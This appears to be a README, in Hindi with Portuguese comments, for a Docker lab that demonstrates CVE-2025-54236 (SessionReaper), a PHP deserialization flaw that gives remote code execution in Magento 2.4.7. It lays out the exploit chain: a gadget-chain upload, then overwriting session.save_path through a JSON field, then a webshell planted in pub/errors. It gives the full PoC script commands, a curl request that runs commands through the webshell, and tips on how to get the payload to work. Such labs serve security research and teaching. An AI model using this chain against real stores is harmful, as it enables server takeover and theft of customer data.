
CVE-2025-54236 (SessionReaper) के व्यावहारिक प्रदर्शन के लिए Docker वातावरण: Magento Open Source 2.4.7 में RCE की ओर ले जाने वाला PHP Object Deserialization
CVE-2025-54236 (SessionReaper) के व्यावहारिक प्रदर्शन हेतु Docker वातावरण: PHP ऑब्जेक्ट डिसीरियलाइज़ेशन जो Magento Open Source 2.4.7 में RCE की ओर ले जाता है।
केवल नियंत्रित वातावरण में उपयोग हेतु। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध न चलाएं।
CVE-2025-54236 Magento Open Source और Adobe Commerce को संस्करण 2.4.7 तक प्रभावित करता है। ServiceInputProcessor::getConstructorData() विधि JSON के माध्यम से नेस्टेड पैरामीटर स्वीकार करती है जो session.save_path को ओवरराइट करने की अनुमति देते हैं - वह फ़ोल्डर जहाँ PHP सत्र फ़ाइलें संग्रहीत करता है।
शोषण श्रृंखला:
Guzzle/FW1 गैजेट चेन) को /customer/address_file/upload के माध्यम से भेजा जाता है, जो इसे pub/media/customer_address/s/e/sess_<id> पर सहेजता है।{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}}session_start() को कॉल करता है, गैजेट चेन को डिसीरियलाइज़ करता है और pub/errors/ में एक वेबशेल लिखता है।पूर्वापेक्षा: PHP सत्र file-based (Redis/Memcached नहीं) के रूप में कॉन्फ़िगर किए गए हैं।
magento/
├── lab-magento/ # Docker lab (Magento 2.4.7 vulnerável)
│ ├── Dockerfile # PHP 8.2-FPM com extensões Magento
│ ├── docker-compose.yml # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # Configurações do ambiente
│ ├── conf/
│ │ ├── nginx/ # VirtualHost nginx
│ │ └── php/magento.ini # Sessões file-based, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # Instalação completa do zero
│ └── 02-demo-setup.sh # Prepara produto, payload e imprime instruções
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # PoC principal (autor: alexb616)
└── payloads/
├── shell.php # Webshell com aspas simples (evita escape JSON)
└── sess_payload.bin # Gadget chain serializada (gerado pelo script)
docker compose)ambionics/phpggc इमेज के साथ Docker उपलब्ध होsession_reaper.py बाइनरी को खोजता है: सिस्टम PATH, ~/phpggc/phpggc, /opt/phpggc/phpggc में, और फ़ॉलबैक के रूप में स्वचालित रूप से Docker इमेज ambionics/phpggc को खींचता हैrequests के साथ (pip install requests)sudo sysctl -w vm.max_map_count=262144)cd lab-magento
# 1. Instalar Magento 2.4.7 do zero (~25 minutos)
bash scripts/install.sh
install.sh निम्नलिखित करता है:
composer install --no-dev चलाता हैsetup:install को file-based सत्रों के साथ चलाता हैdefault सेट करता है (developer नहीं - PHP 8.2 की चेतावनियों को अपवाद बनने से रोकता है)setup:static-content:deploy चलाता हैwww-data अनुमतियों को सही करता हैस्थापना के बाद, रूट निर्देशिका (/magento/) से:
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
RCE सत्यापित करें:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Saída esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
वैकल्पिक विधि (वेक्टर address, वास्तविक उत्पाद के साथ):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
| सेवा | URL / Host | क्रेडेंशियल |
|---|---|---|
| Magento स्टोर | http://localhost:8080/ | - |
| Magento व्यवस्थापक | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |
व्यवस्थापक URI स्थापना के दौरान यादृच्छिक रूप से उत्पन्न होता है। इसे खोजने के लिए:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# Sessões criadas pelo exploit
docker exec lab_magento_php ls -la /var/www/html/var/session/
# Arquivo de sessão malicioso em media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# Logs em tempo real
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# Remover webshell
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# Parar containers
docker compose -f lab-magento/docker-compose.yml down
# Destruir tudo (containers + volumes)
docker compose -f lab-magento/docker-compose.yml down -v
वेबशेल में एकल उद्धरण क्यों?
phpggc Guzzle/FW1 पेलोड को JSON के रूप में सीरियलाइज़ करता है: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. PHP सामग्री JSON-एनकोडेड है, इसलिए " \" बन जाता है। $_GET["cmd"] का उपयोग करने पर $_GET[\"cmd\"] होगा - PHP पार्स त्रुटि। समाधान वेबशेल को एकल उद्धरणों के साथ लिखना है: $_GET['cmd']।
मोड default और developer क्यों नहीं?
Magento developer मोड में सभी PHP चेतावनियों को अपवादों में बदल देता है। PHP 8.2 lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114 पर Warning: Trying to access array offset on null जारी करता है, जो व्यवस्थापक में 500 अपवाद बन जाता है। default मोड में चेतावनी को नजरअंदाज कर दिया जाता है।
फ़ाइलें s/e/ में क्यों रहती हैं?
Magento पता अपलोड को pub/media/customer_address/{1º char}/{2º char}/filename में व्यवस्थित करता है। sess_* फ़ाइलों के लिए, पहला अक्षर s है और दूसरा e है, जो हमेशा pub/media/customer_address/s/e/ में परिणत होता है।